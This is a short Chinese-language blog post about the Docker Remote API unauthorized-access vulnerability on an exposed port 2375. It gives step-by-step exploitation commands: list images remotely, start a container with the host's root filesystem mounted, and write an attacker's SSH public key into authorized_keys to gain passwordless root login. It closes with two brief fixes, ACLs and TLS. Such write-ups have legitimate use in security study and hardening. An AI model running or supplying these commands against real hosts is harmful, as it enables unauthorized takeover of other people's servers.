Docker Remote Api未授權訪問漏洞
阿新 • • 發佈:2018-12-14
一. 漏洞原因
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
docker守護程序監聽在0.0.0.0,外網可訪問
沒有使用iptables等限制可連線的來源ip
二. 漏洞利用
1.遠端對被攻擊的主機的docker容器進行操作
docker -H tcp://remoteip:2375 images
- 遠端啟動被攻擊主機的docker容器.並掛在宿主機的目錄,通過容器修改宿主機的authrized_keys檔案,寫入公鑰.
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
三. 演示步驟
ssh-keygen 生成公鑰檔案
docker -H tcp://remoteip:2375 images 檢視映象
docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 啟動一個容器並將宿主機根目錄掛在到容器的mnt目錄
mkdir .ssh 建立ssh目錄
touch authorized_keys 建立檔案
將公鑰的檔案寫入authorized_keys
ssh [email protected] 免密碼登入宿主機
四. 修復方法
設定ACL, 只允許信任ip連線對應埠
開啟TLS,使用生成的證書進行認證